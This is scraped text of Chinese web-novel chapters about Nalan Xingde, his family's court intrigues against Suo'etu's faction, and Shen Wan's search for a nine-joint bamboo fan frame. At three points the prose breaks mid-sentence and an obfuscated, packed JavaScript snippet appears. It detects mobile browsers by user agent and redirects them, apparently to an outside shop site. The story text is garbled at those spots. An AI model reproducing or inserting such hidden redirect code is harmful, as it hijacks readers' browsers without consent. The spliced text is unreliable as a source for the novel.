“因为表兄你笃信佛学,不吃半生的食材,而鲜鱼片是半熟半生才最有滋味的,放在碗底的话,就可以借粥米和花瓣之力让鱼片熟透了。” “惠儿,你是为了我。”容若感动,“曾经我也想过,在膳食上要不要从半素改为全素,最终还是选择了妥协。” “表兄吃的少但吃的精,饮食习惯照着自己的喜欢来就好。不知表兄在侧暖阁养着的时候,吃了些什么?” “苏嬷嬷吩咐送来的都是些精致的点心和素菜,不见油腻。反倒是皇上,在养心殿外的菩提树下准备了诸多名堂,非叫我每样菜都尝。” “尝了吗?” “尝了,最终还是觉得‘陆羽茶糕’最好吃。” * 这边容若和惠儿聊的晚,将近子时未散。 那边索额图和索党之人筹谋的也晚,密室之内,灯火一片通明。 索额图站在窗子边,盯着一盆茶花看。 “本官从管事的公公口中听的,除夕夜宫中要多添一张桌子,备上五副碗筷,是专门设给明珠夫妇和他们的三个公子的。” 辜鸿玳道:“索大人看开一些,一些规矩早就没了,不足为奇。” 兴必察一想,想明白了:“莫非索大人的意思是……给纳兰一家的桌席不是宫外露天的臣席,而是宫内的雅座?那岂非让明珠一家尊享了皇室成员的待遇?” “可不是吗?”索额图用拇指顶着食指,往茶花花朵上一弹,“纳兰性德冻不得,太皇太后怕他吹到一丝风,就跟纸片似的飞走了,才给了明珠一家这么大的福气。” 索额图把掉落的茶花往地下一扫,猛踩了一脚。 “纳兰性德的那些国策,太皇太后也不过就是象征性地罚了罚他,做给铁帽子亲王们看的罢了。你们知道这事为什么没有下文吗?” 看到辜鸿玳、兴必察、李光地三人沉默不答,索额图道: “那是因为纳兰性德过于清醒,自己走出来了。这表示什么?表示他用行动堵住了满朝上下的嘴。为什么他能堵得住?因为大公子人品好、才华高——” “太皇太后和皇上虽然没把纳兰性德写的东西公之于众,但王公大臣都能猜得到,铁定是一些对大清有长远影响的东西,所以他们怒归怒,心中也是羞愧难当,承认了自己没有为皇上尽责。” “是了,那种‘又怒又愧又悔’的心态才是最要紧的。”李光地的思路渐渐清晰,“有资历的朝臣还不如辈分低的侧臣,这口气就算是咽不下也得咽下去。” “索大人,纳兰性德怎么能保证自己走的那步险棋没有错?” “你细想。”索额图指了指辜鸿玳的脑袋,“大公子主动走出,是不是给了多方势力一个交待?是不是保住了皇上的颜面?不然太皇太后为什么就妥协了,而且还请了大公子一家赴皇宫除夕宴。” 辜鸿玳跌坐在圆凳上,然后打了自己嘴巴,把一切都看透了。 “下官的确是开窍的晚了些,好在是有索大人提点,把这里面的门道都摸索清楚了。大公子最狡诈的地方,还是在于——让皇上在潜移默化中把不该展示在书房里的《天下地形图》毁了。” “下官是没有亲眼见过那幅《天下地形图》,但是听几位见过的大臣说,那东西了不得,像是出自不怕掉脑袋的画师之手。” 索额图背着双手,在另外三人面前徘徊。 “皇上啊,就是把自己的抱负展示的太急了些,所以才会叫不怕死的画师画出这么一幅地形图来观天下。甚至可以这么说,纳兰性德自己观摩地形图后,心态也是汹涌澎湃,才会写出一道满是国策的折子来。等到这一对君臣发现急于求成不入从长计议的时候,就开始了新的一轮的博弈。” “博弈出来的结果,本官与你等三人有目共睹:纳兰性德没有成为一个牺牲品,而是继续作为一块美玉被太皇太后、皇上、明珠捧在手里。什么叫做无声胜有声?大抵就是像他这般:没有为自己辩解一句话,也没有为自己讨要过一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368325|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公道,冰清无暇地向人展示出了:得与失。” 索额图所指: 得,天下的纳兰公子依旧活着,哪怕冬来藏高阁,也还是人人争唱他的词歌、慕爱他的才貌、猜测他的心事。 失,君侧的第一陪臣依旧苦着,再如何舍己为君,也还是逃不过命数的齿轮、潜在的危机感、无形的大压力。 “说到底,纳兰性德也是失去的比得到的多。”索额图笑了笑,“我儿阿尔吉善再如何逊色,也不会像明珠的大公子那般……” * 早晨。 容若前去给阿玛和额娘请安,却看见嬷嬷已经把弟弟揆叙和揆方带到了老爷和夫人的房中,两个小家伙正坐在软榻上吃豆沙馅饼。 放置馅饼的盘子的旁边,搁着几张笺纸,上面有着远超同龄人的字迹的书法,应该是揆叙和揆方没有落下的功课,刚刚被阿玛检查过。 “夫人,你先带揆叙和揆方出去吧!我有话要单独跟容若说。” “好。”觉罗氏起身,“揆叙揆方,跟额娘一起到花园去,那棵容若亲自栽的玉兰树长的正好。” 见容若坐下,明珠开口就是一句:“不知为何,阿玛觉得在这渐近的年味中,夹带着一股无形的杀机。” 容若淡然问:“冬天的肃杀轧机?蒙古部族的寻杀契机?还是索党暗藏的探杀心机?” 明珠叫侍女袖云去端热奶茶,然后把豆沙馅饼分成了两半,父子一人一半。 容若看着盘子里那些—— 数量就跟是算过的、合着纳兰家家庭成员人数正好的馅饼和其他早膳饼点,一时间不知该对明珠说谢,还是该对明珠问为什么这么安排。 “热闹总是伴随着突发情况啊!”明珠吃饼吃的快,“那些杀机不管是发生在皇家,还是发生在你我父子身上,都难免考验心态。” “阿玛你想想看,索额图为了邀功,决意支持皇上除鳌拜,所以在皇上除鳌拜之前,索额图只会设计今后的抗衡你我的父子的蓝图,而不会在这期间下手。而说到蒙古各部族,孝庄太皇太后的影响力先不论,只要皇上不触动他们的利益、且能够妥协他们的所求,倒也没什么干戈相向之事。” “阿玛就是怕皇上惹下大祸。” “阿玛怕的话,就在给皇上讲经过后,去对皇上做个提醒。” “你都慎不敢言,只敢叫老祖宗去陪着皇上一同接待蒙古宗亲,我明珠要是直言,岂不是得担个‘未卜先知,恐有勾结’之嫌的骂名?” “他们不敢,疑明珠就等于疑太皇太后,这事关江山社稷,能随便揣测吗?所以阿玛您就这么跟皇上说:‘孝敬皇祖母,守礼为先;开拓清国土,扎实为谦。’皇上自然能明白:前一句话说的是不可得罪蒙古;后一句话说的是强盛山河,少不了为君的谦逊威仪。” “我知道那股‘杀机’感是从何而来了。”明珠给儿子倒了碗奶茶,“原来我是怕蒙古的兵马会叛乱于大清,怕他们趁着年末拜岁来京师刺探情报,等到年后鳌拜一除,就趁机挟制天子。” “师出无名,如何服众?”容若喝了一口热饮,“即便是蒙古兵马要来,那也不可能真的逼宫到皇上跟前。阿玛不妨快人一步,将涉及蒙古之事的厉害关系告知兵部尚书,好让兵部尚书心里有个谱,没准日后兵部尚书就成了阿玛的人。” 容若复提醒明珠道:“再有,一切关于除夕之事,只要是站在朝堂上,阿玛您就一句意见都不要发表。听着皇上的话、瞧着别的臣子的反应就好。” 明珠问:“这是为何?” 容若拿起那块跟宫廷点心一模一样的“陆羽茶糕”来咬了一口,细嚼咽下,道: “要站在一人之下万人之上的权利顶峰,靠的从来都是真本事而非嘴上功夫;朝臣们追随阿玛你,关键还是在明珠能够做出什么成绩来,而不是明珠有没有为皇上说话。” * 说罢这些国事,父子间的话题过渡到了家事。 桌面上的糕点盘子和奶茶碗已经被撤去,如旧反射着漆红色的名木光芒。 “你额娘跟我提了有关揆叙未来的婚配之事。” “总归是额娘细致考虑过后的决定:利益最大,风险最小,为了纳兰家。儿不做多问。” “我也想像别的家翁一样,为儿子的婚事操心,甚至是跟儿子起争执,可惜啊,上天没有给我明珠这个机会。” “这样不好吗?纳兰家,是名门。” “是如此。” “容若,你跟那个来路不明的女子没再接触了吧?” “阿玛看着的,自然是心里有数。” “以前阿玛问你最爱读谁的诗?你说是李商隐。”明珠提醒道,“李商隐与爱妻王晏媄相濡以沫、颇是恩爱,到最后也未娶才女子张懿仙为妾,你自己思量思量。” ——纳兰性德。沈宛。 ——李商隐。张懿仙。 明珠之语,惹得容若翩翩一笑。 “儿喜欢商隐那句:微生尽恋人间乐,至今云雨暗丹枫。” “糊涂。” 明珠轻训。且担心地看着容若。 “李商隐活了一辈子,他死前倒是自己悟了:深知身在情长在,怅望江头江水声。儿啊,‘情’字可不是一个好东西。“ 31.第31章 沈宛向来不工针线,得知纳兰公子喜欢玉兰花后,就下了好大一番功夫在丝帕上绣出了一朵玉兰花来。 沈宛把这方重要的丝帕带在身上,明府自然是去不得。 那些给明珠大人拜早年和送早礼的人络绎不绝,甚至有一句谣言传出:要想入明珠大人的眼,就要按照明珠大人的规矩来。 沈宛当然是不知道所谓的“明珠规矩”指的是什么? 悄悄向字画店的周老板请教,得到的回复也不过是: “要读纳兰公子的诗词不难,但要见明珠一面却难。那些送礼之人到了明府,也不过是被明府的家丁接待,能否跟明珠大人说上话,就是另一回事了。” 就这么躲在一角,远远地看着明府里外出出入入的人,沈宛等待着看到纳兰公子的身影。 可是一个上午、一个下午过去了,一把冬伞覆了几层冬雪,她也未能达成所愿。 她无奈地笑了笑,想来也是,纳兰公子没事出来干什么? 家中再怎么充斥着阵阵宾客们的声音,也比被包围在外头无聊的讨价还价声中要好,对公子而言,是这样的吧? 在一个夜晚,沈宛曾问:“公子喜欢什么乐器?” 容若答:“我不爱横笛竖箫,不爱箜篌琵琶,偏爱雨天听筝。” 沈宛不知何故,容若道:“家中有一把好争,用雨点纹铜木制筝身,以象牙牵弦,韵清正雅,高贵却不失简朴。我不弹,等到娶妻之后,看缘分,希望她弹得来。” ——公子不弹,可惜了。 ——不必欺瞒后世,我不擅长乐器就是不擅长,我本就不是个面面俱到之人。 可是。 沈宛撑着冬伞往回走。 为什么给纳兰公子的贺年礼……偏偏就想送乐器给他呢? 送他或许会喜欢的、能够随心驾驭的小乐器。 * 明府。 觉罗氏在外细心打点着一切客礼和家计,纳兰父子在内商议给太皇太后和皇上的年贺礼之事。 揆叙和揆方自然也是没有贪玩,而是跟惠儿姐姐一起在内花园中读书。 嬷嬷把一切都看在眼里,心想: 没有贪玩,跟不敢贪玩是不同的,这说明小公子们读书和做功课,都是出自于主动性,而非被老爷明珠所逼。 这么说来,大公子小时候也一样,每日日程满满,什么时候学文、什么时候习武,他都明明白白,从来不用人提醒,也从来未让老师操心过。 血脉的优秀总是相承的,当朝权臣明珠学富五车,他的三位公子只会青出于蓝而胜于蓝。 容若书房中。 今日点的并非是纳兰香,而是安神的“沉月香”。 明珠看过容若写的《年贺礼待选清单》以后,把目光停留在了“冬扇”二字上。 他心想:我儿心思巧妙,扇动乾坤,泱泱山河尽在皇上掌控之中,坦坦厚土皆是大清的版图之囊,而这制作扇骨的竹片,“竹”正好与“祝”同音,带有可感的年节喜庆气息。 “容若,你打算自己在扇面上添画题字,还是送装饰扇?” “儿也在考虑这个,一直未能有解。请教阿玛——” “阿玛原本想说:送太皇太后的用装饰扇,送皇上的用亲绘扇,但又觉得不妥,还不如给那对祖孙都送一样的金屏光面素扇如何?” “儿觉得阿玛的建议好。”容若又问,“扇面的折数可有讲究?要求双数还是单数?” “错了容若,玩扇子不是看扇面折数而是看扇骨的节数。”明珠目光老到,“太皇太后和皇上什么华丽的扇面没见过?所以你我父子要把功夫下在扇骨上。” 容若忽然想到皇上给他挑的金刚菩提子,都是十四瓣的,心意和好意俱在,不由得静静地点了点头。 容若自语:“不能高过皇上。” “你要说什么?”明珠嗔问,“你我父子,说好听点是臣子,往难听了讲就是奴才,自然是不能高过皇上。” 容若如实道:“不瞒阿玛,儿在皇上的书房看到了皇上为儿准备的生日礼物,是:十四瓣的金刚菩提子。” “金刚菩提子多难得呀!还是寓意极好的十四瓣的。”明珠露出了叩谢皇恩的神情,“到时候顾问行顾公公登门送礼的时候,你可要好好谢圣意,事先把要说的话都准备好、记在脑子里。” “这个儿知道。”容若看着明珠手中的清单,“阿玛方才说的扇骨,不可挑多于等于十四节的竹子来做,不然就是大不敬——皇上肯定会猜忌儿看过他穿的金刚菩提子手串,也会猜忌阿玛您想独占朝纲。” “这竹子是很有灵气的植物。”明珠喝了一口茶,“十三太保之上直接是十八罗汉,并无十四节到十七节之物。” “是吗?”容若安心,“幸好阿玛对这些清楚明了。” “容若,照你看,选用多少竹节的竹骨来做扇骨好?” “九节。” “为何?” “九鼎,皇权至高,符合皇上问鼎天下的风发意气;九龙,政绩卓越,用来激励皇上励精图治最好。所以儿觉得‘数字九’合适。” “九节竹怕是不好找。” “确实,长度恰好符合扇骨的九节竹难找。儿去找找看。” “嗯,凡事小心。” * 容若从房间出来,从花园里看到了小揆叙的身影。 他过去,好奇这么一阵子时间,小揆叙写了什么诗作出来? 容若拿起桌上笺纸,只见弟弟写的是: 吾兄自好客,结识俱英贤。 门前渌水亭,亭外泊小船。 腾轩驾天马,追逐飞空仙。 发而为文章,力若横海鳣。【注1】 容若夸道:“嗯,直白易懂,写的好。” 揆叙道:“容若哥哥上马能安天下,下马能成文章,就是皇上不好,总爱从容若哥哥手里拿走自己喜欢的东西。” “哦,你是说长兄写的藏书阁的楹联吗?皇上拿走了就拿走了,只要他不拆了我的渌水亭就好。”容若宽和一笑,“渌水亭在,就能逢各路能人,不求彼此是知己,从中觅得三五至交,也是幸事。就像是你文中写的朱彝尊先生那般,朱先生比长兄大二十六岁,却不阻长兄结实他、爱从他手中借阅宋元遗集抄本。” “我这首诗可以拿给阿玛看?” “可以呀,阿玛在长兄的书房里,你直接去。” “揆叙有问题要问容若哥哥。” “嗯。” “为何容若哥哥的句:人生若只如初见,何事秋风悲画扇【注2】,要被世人当作是爱情诗来曲解?容若哥哥不是标注了‘木兰花·拟古决绝词柬友’吗?” “因为……他们不懂的‘画扇’的意思。” 容若笑着问:“小揆叙,长兄外出寻扇,你要不要跟长兄一起去?” “好!” 揆叙欢呼着蹭到容若身边,拉着容若一起,高高兴兴地奔向家门。 容若温和道:“先跟额娘和惠儿姐姐告别,记得:守礼也重要。” “好。”揆叙来到觉罗氏和惠儿面前,“额娘,儿告退;惠儿姐姐,揆叙跟长兄出门了。” 觉罗氏和惠儿便一起送容若和揆叙到了家门口,挥了挥手,才返回屋内。 * 觉罗氏把揆叙写的诗拿给了明珠看。 明珠虽是在容若的书房中看容若的诗词文章,但对二公子的文学造诣也一样重视,所以就认认真真品读了几遍。 “容若甚爱渌水亭。”明珠笑着道,“他看到揆叙写渌水亭,自然是舍不得给揆叙的诗挑错。” “揆叙的诗有错吗老爷?”觉罗氏笑问,“咱们儿子写东西,怕是比朝里养着的文臣们还要谨慎上千万倍。” “无错。”明珠放下揆叙的诗作,“我只是说容若性子好罢了。” “容若听揆叙说起那句‘何事秋风悲画扇’之后,就带着揆叙一起去买扇了。” 说着,觉罗氏又补充了一句: “妾身倒是觉得容若有心情要消遣,像是揆叙的话触及他内心某处荒芜之地一般。才说带着弟弟一起外出透透气。“ 明珠听到这里,忽然气呼呼地一拍桌子。 当然了,他恼的不是自己的儿子,而是世人的目光与判断。 侍女袖云上前道:“老爷的手要是拍疼了,夫人跟我可是不管的。但要是这一拍把公子的宝贝玉笔洗给震落在地、摔出什么毛病来,夫人和我就要说老爷的不是了。” “你就是被公子惯坏了!”明珠自己抚了抚掌心,也不怪她,只道:“公子的宝贝玉笔洗,放置的仔细一些。” “我儿子容若的格局,比那些以讹传讹之人要大多了!知子莫若父,谁说‘画扇’的典故取自——班婕妤的‘妾身似秋扇’了?嗯?” “回老爷。”袖云平和道,“公子亲口对袖云说过:‘画扇’之意,用的乃是‘唐玄宗跟张九龄之间的君臣关系’的典故。” “我就说——”明珠看向夫人,“咱们容若的这首词,是写给皇上的!哪来的什么怨妇之口?” 觉罗氏神色稍变:“皇上?” 明珠道:“这么说吧:那是在秋天,李林甫诽谤张九龄,玄宗就让高力士给张九龄送了白羽扇,张九龄一收到扇,神色悲吓,慌忙写下一篇《白羽扇赋》来上呈玄宗,表忠心道:肃肃白羽,穆如清风。哪怕是秋寒起,扇子用不上,那臣也会把扇子收在匣中,惦念圣恩,绝不背叛圣上!” 觉罗氏通明道:“难怪顾问行顾公公说,康熙皇帝读了‘何事秋风悲画扇’后,龙颜大悦,道:朕身边有纳兰足矣,只要纳兰。” 明珠在容若写文章时常坐的椅子上坐下。 “什么朝务都罢,不如静看容若的词句诗篇。” “那妾身就不打扰老爷了。” “我寻思着今日容若回来的晚,他的半素膳都要叫厨房好生温着。” “是,袖云这就过去跟厨房交代。” * 容若带着弟弟揆叙来到“庄周梦蝶”字画店。 周老板已经穿上了喜庆的年袍,连着辫子上绑的,也是象征着吉祥的双玉。 “请纳兰公子好,这位是?” “我弟弟揆叙,平时喜欢玩扇。”容若简介道,“不知道贵宝号是否有九节扇骨的折扇?” 揆叙聪明,他知道长兄是故意这么说的。 买扇,如果真实理由不可说,又非要有一个契机的话,那么的确是这般用意最好。 “容若哥哥最了解揆叙了,揆叙要盘扇。” 这便是兄弟之间的默契,不必点透不必明说,彼此都能够相互配合。 “好好好。”周老板叫来掌柜,“带小公子进到里面的雅室去盘扇。” ——如此就不会打扰到容若哥哥。 揆叙回头向容若一笑。 容若回以同样的笑容,心里却有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“小的记下了,而且小的只会多说小公子的喜好,不敢妄谈大公子的所求。” “有劳了。那——” 容若正想入雅室去叫揆叙回家,却被一女子从身后拉住了手臂。 他看着她,照以前,他肯定会口出一句:“姑娘请自重。” 但是现在不同了,眼前的是他熟悉的宛卿,是让他清晰地感受到“有气息”地活下去真好的女子,所以他对她道:“你在,真好。” * 看沈宛脸上带着莫名自信的神情,容若问她怎么了? “公子想要的东西——” 沈宛停了停,“我有,啊……不,不是我有,是我师傅有。” “我想,我不能白拿,应当拿什么回报你师傅?” 听纳兰公子这么说,沈宛就觉得他可爱。 一个温文尔雅的人,看待问题的方式,跟天下所有的男子都不一样,因为:正常人的反应不应该都是道谢或者追问吗?为什么只有纳兰公子的反应是“礼尚往来”呢? 沈宛的脑海中忽然浮现出了这么一个场景: 师傅宋应星见到纳兰公子,自然是不会待见。纳兰公子不知内因,自然是不会介意。然后自己就充当起了和事佬的角色,左右都要兼顾上:不能让师傅欺人太甚,也不能让纳兰公子遗憾而归。 不过说到底,师傅的藏身之所怎么能随便透露给别人? 即便是自己喜欢的人,也不能说。 “我能拿出来的,就是对我而言最好的。”容若重新坐回原位,“我常带数粒菩提子在身上,唯求安然顺遂、福慧双修。” 容若把数颗菩提子拿出,放在桌面的一个玉盘上,“不知用来酬谢你的师傅,是否合适合心?” “太贵重了,公子你怎么舍得?” 沈宛一眼就认了出来:是有了一定年头的、世上最贵重的金刚多瓣菩提子。对公子而言,意义非凡。 “那我就把这些菩提子给宛卿你吧!” 容若招手让沈宛靠近一些,在她面前写下: 皑雪寂禅静,来去似梦行。 晴空一碧云,玉盘菩提明。 本应做客至,林深冷风侵。 借此真挚意,酬得冰清心。 搁笔,容若就把数粒菩提子放入了沈宛手中。 他对她道:“你收着它,我放心。” 沈宛像是被说动了一般,只剩下“看着公子的温眸”和“下意识地点头”的反应,嘴角却是笑着的。真奇怪,公子就是有这样的、让人不能拒绝的魅力。 “宛卿,你说我这首诗,”容若自己拿起来看,“是归你,还是归周老板?” “小的哪能跟宛姑娘抢?”周老板颇有自知之明,“纳兰公子拿小的说笑了。” “自然是归我。” 沈宛一把从容若手中“抢过”墨宝,同时—— 她也从自己的袖子掉落了一样东西。 是一块方帕。 一块绣着一朵玉兰花的方帕。 容若弯腰捡起,学着沈宛的爱用口吻道:“这心意,归我了。” 【注1】纳兰揆叙作品,写长兄容若和朱彝尊之间友情 【注2】纳兰性德名句。写友情,非爱情。 史实:容若对顾贞观此人看得很透彻,知道顾贞观接近的目的和利用之意,所以他在此词中表达是对友情无常的失望。 文中:为情节设定需要,把这首词用在“谋扇”中。 32.第32章 容若跟小揆叙一起走在回家的路上,已经是掌灯时分。 “容若哥哥,揆叙原本以为你会跟着那位姐姐去找她的师傅,然后被她拒绝,再找出理由来让她答应你同行。可是,你只留下一块方帕就跟她别过了,为什么呀?” “在给她的诗中,我写了自己的身体情况进不了密林深处,所以她没必要有我会提出一起去见她的师傅的顾虑。至于那块方帕,是因为上面有我喜欢的玉兰花,所以我要来了。” “玉兰花?是什么意思?” “她字御(玉)婵,我姓纳‘兰’,冥冥之中,结了缘而已。” “揆叙听店掌柜说,‘欢影酒楼’里面有道新菜叫:柚肉烧鸭,很受欢迎。揆叙现在想去尝尝。” “好。一起去。” “回家晚了怎么办?” “有长兄担着,揆叙你什么都不用担心。” “容若哥哥你一直循规蹈矩,出门的时候还刻意叫揆叙去跟额娘和惠儿姐姐请别,为什么揆叙想晚归的时候,却不拿出大道理来阻止?” “因为长兄也想去吃那道菜。” “真的?” “嗯,真的。” 其实容若想告诉揆叙: ——长兄不想做只笼中鸟。 ——逢遇沈宛之后,长兄就好似浑身都有了冲破桎梏的力量一般,想放肆想任性一回。 * 沈宛见到宋应星时,发现师傅正在吃着一盘腊肉和一碗饭。 沈宛坐到饭桌对面,开口叫了一声:“师傅。” “你怎么有空来?”宋应星放下碗筷,加快了吃饭的速度。 “就是想来探望师傅,每次都是师傅飞鸽传讯叫我来,这次我主动来,师傅不高兴吗?” “你是我从小教导的徒弟,有什么心思我能不知道吗?” “师傅觉得御婵能有什么心思?就是想陪师傅吃顿饭、下盘棋。” “如果你是为了纳兰性德而出现在我面前,就趁早打住!” “我提纳兰公子做什么?他写他的词,我走我的路,互不相干。” “你真不是受托于纳兰性德来我这儿的?”宋应星皱眉,“我怎么见你一副男女私会之后的欢喜模样?” “有吗?”沈宛拍了拍自己的脸颊,“明府在年关门庭若市,明珠的贵公子我高攀不上,他眼里也看不起我这种市井姑娘,我还想他做什么?” 宋应星尚疑:“你没骗我?” 沈宛故意道:“师傅要是不信,御婵现在走好了。” “留下。”宋应星放下警惕,“自己去橱柜里拿碗筷,跟师傅一起吃饭。” “好。”沈宛高兴地应了一声。 好不容易等到宋应星离开房间,去侧面的寮房里沐浴,沈宛马上开始着手寻找:九节竹扇骨。 所有可能存放的地方:斗柜、箱子、墙壁暗层、木板床隔层、甚至包括梁上、屋角、基前……沈宛都细致地翻了一遍。 偏偏是连“九节竹扇骨”的影子都没见到。 但是沈宛可以确定的是: 师傅确实是有这副扇骨,我亲眼见过。 之所以找不到,原因有三:师傅刻意藏起;师傅已将此物赠送他人;师傅在不为人知之际毁掉了此物。 纳兰公子你可知道? 人最郁闷的是:难得的机会摆在眼前,却无法得偿所愿。而且,还不能对当事人提起或者询问其中的关键。 沈宛一回头,看见宋应星出现在自己面前,吓了一跳。 “师……师傅。” “怎么了?”宋应星坐在了一张竹编躺椅上,“慌慌张张。” “没有。没想到师傅沐浴时间这么短。” “以前我为躲避多尔衮率领的清军的追杀,养成了做任何事都速战速决的习惯。吃饭和沐浴都不例外,前者从简,后者求速。”宋应星看着沈宛,“而你,那段时间恰好跟师傅分开,在江南歌楼成为了头牌,自然是不晓得师傅的苦楚。” “御婵哪能不晓得师傅的良苦用心?师傅将御婵送进江南歌楼学艺,也是为了让御婵能够远离中原战乱,好好活下去。” 沈宛坐到宋应星身边,“现在徒儿学有所成,琴棋书画无一不精,连鉴别古玩的眼光都培养出来了呢。都是师傅的功劳。” “你怎么不学题扇?”宋应星问,“明珠好画、容若擅字。” “师傅,你无端端又提纳兰父子做什么?” 宋应星摇了摇头,“我真搞不懂,为什么满人的对联是白底黑字,周围镶蓝边?你去明府看看是不是这么回事。” “师傅怎么准我去明府了?” “不要会错意。”宋应星强调,“叫你去见识明府的满清年俗,不等于叫你去私会纳兰性德。” “私会一词,御婵听着不觉得羞耻,而是满怀伤感。”沈宛颤了颤睫毛,“贵公子跟歌楼女在一起,就伤风败俗了吗?如果贵公子和歌楼女彼此都珍惜名声呢,也会被世人往‘不要脸’三个字上面去说吗?” 宋应星冷笑数声。 笑罢,他竟然无比认真地对自己的徒儿道:“沈宛,记着:你不是歌楼女而是才女子,不要觉得自己的身份哪里不如人。” 沈宛虽是空手而归,但却因为宋应星的那句话而无比感动。 是啊,曾经的歌楼际遇不能轻断一个人的一生。 当下的自己,就是一个普通的、刚刚把一个人装入心扉的、愿意为那个人付出一切的女孩子。 欢喜时就尽情笑,难过时就大胆哭。一个不必隐藏自己的情绪的女孩子,一个懂得怎么跟纳兰公子相处的女孩子。 一个。 可以得到他的真心笑容的女孩子。 * 说好相见的日子,沈宛并未如约而至。 容若坐在字画店的内雅室里独等,然后落寞而回。 ——毕竟是我有求于宛卿。宛卿有求她师傅。 所以,不能多想多念,贪嗔痴过多,于事无补。 他这样安慰自己。 他的步子很慢,挡雪伞也忘记打,就这么独立而行,在雪地上留下一串不深不浅的脚印。 “宛卿,就算你不来,也应该向周老板留一个口信。不然我就会一直等,忘记时间、忘记要事、忘记判断,只为把你等来。” “宛卿,千万思绪齐涌,我担心你,你遇见什么突发情况了吗?我想帮你、想去你身边、想跟你在一起。” 风雪不解公子意,但闻痴心在日久。 渐行渐知事难为,缘何自觉冷风催。 一屏朱墙相对隔,慢步难移问谁追。 方帕凝香袖中温,几度菩提几轮回。 缓缓。徐徐。走着。 他扶住了墙面,向前…… 一个不留神,就顺着墙面滑摔了下去。 * 这一等,就是等到了除夕的前一日。 容若在自己的书房题了一把画扇,默然地盯着扇面看。 明珠进来。 他只觉得,在容若身边方能寻得这节庆里面的难得安静。 未见容若主动来打招呼,明珠问向袖云,公子这副模样是怎么回事?袖云应道,痴情入画,扇骨似瘦骨,难分难销。 明珠叮嘱道,多照顾着公子一点。袖云点头,又复对老爷道,公子的扇画极工、题字极好,想来也是连着自身一并值千金的。 明珠心中微酸,原本还想叫出来给家里写副对联的,到底还是做了罢,打算等容若心情明朗后再提。满人写对联的规矩没有汉人多,所以不必赶着辞旧迎新的正当日。 “扇骨未到之事,你不必烦扰。”明珠开导道,“送其他年贺礼也无妨,阿玛做了另一手准备,所选之物,也是从你的清单里面挑的。” “儿要出趟府外。” 容若答非所问。 “不许。”明珠明确拒绝,“明天就要进宫,阿玛不许你有任何差池。” “儿要出去。” 容若执意不改。 “袖云,看好公子。”明珠从儿子身边的人入手,“公子要是敢不听话,本官拿你是问。” “阿玛——” 容若合上了画扇,站了起来。 “收收心,有时候年贺礼,退而求其次也未必不是好事。” 说罢,轻轻拍了拍容若的肩膀,明珠就离开了。 袖云宽慰容若道:“公子,事未到期,必有转机。袖云以为,这转机无论是在府内还是府外相迎,都是一样的。” 容若双手捂着心脏,不说话。 袖云续道:“公子要是对老爷的话不肯听,袖云就陪着公子一起出去,随着公子一起去觅候心中之愿。” 容若看见了明珠留下的字条,明珠把清单上面的琉璃盏圈了出来。 意思是:给太皇太后和皇上送琉璃盏也极好,明澈无垢。将除鳌拜,用此物来向这对祖孙表示纳兰父子的忠心;鳌拜初后,让这对祖孙目睹琉璃——而思清明治国为第一要务、思纳兰父子效忠追随之心不变。 袖云问:“公子既是把琉璃盏也写入了年贺礼的清单范畴,老爷也觉得合适,为何不应了老爷:这会就过去老爷的房间挑盏?” 容若想说话,却又有种心力不足、说不出话来的感觉。 只提笔在纸上写下: 扇动乾坤,乾坤为实;琉璃业火,业火为虚。 皆上贺,表忠心之言,琉璃虽可,择扇为佳。 异群臣,寓年运之物,罢扇负谋,岂非残念? “公子思虑周全,袖云这就去向老爷传达公子的意思。” 容若对贴身侍女点了点头,把自己写下的一纸真言交给了她,望向了明珠的房间。 * 沈宛带着“九节扇骨”来到明府,想趁着人多混杂之际从正门混进去。 说到她为何没在约好的时间和地点见容若,是因为宋应星急病不醒。 她不知师傅是故意装之,还是真的病了,总之就是陷入了“一走了之,私会纳兰”就是有愧于师傅的抚养之恩的局面。何况当时师傅的挚友张岱同在,她不想成为张岱口中的“不知尽孝”之人,所以就留在师傅身边照顾。 至于她是如何费了好大一番心思,才把宋应星珍藏的“九节扇骨”弄到手的,便是一通能够跟容若说上一个通宵的后话了。 现在最要紧的,是把容若要的东西亲自交到他手中。 所以,她才豁了出去,不再顾及自己的身份和明府的规矩,就这么直奔而来。 惠儿经过明府外厅,照着伯母觉罗氏的吩咐去从管家手中拿《礼册簿子》时,不经意看见了沈宛。 惠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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惠儿道:“表兄会圆场,伯父应该不会细问送礼人。” 容若打开礼盒,看见了心心念念的“九节扇骨”后,欣喜地对侍女道:“袖云,去拿扇纸、金箔、黏胶、扇钉、扇坠、削刀、刻刀……” “是。”见公子神采奕奕,袖云心中亦是高兴。 “袖云说过,念念不忘,必有回响,公子不会失望的。” “你知道我为什么执着于给太皇太后和皇上送扇吗?” “总归不是汉人眼里的一个‘散’字。”袖云把准备好的东西一一放置在桌面,“也是不是纯粹拉近君臣关系的一个‘善’字。公子自有筹谋。” “君臣、帝后、祖孙、臣民;输赢、内外、哭笑、得失,不过是‘乾坤’二字。人之为一国之君献礼,无非是求荣求升,方忐忐忑忑地把心思花在‘配得上皇家’五个字上。而我,一面秉着阿玛的忠君理念、一面感受着天恩的冷暖,一颗心只能交付一把扇。” 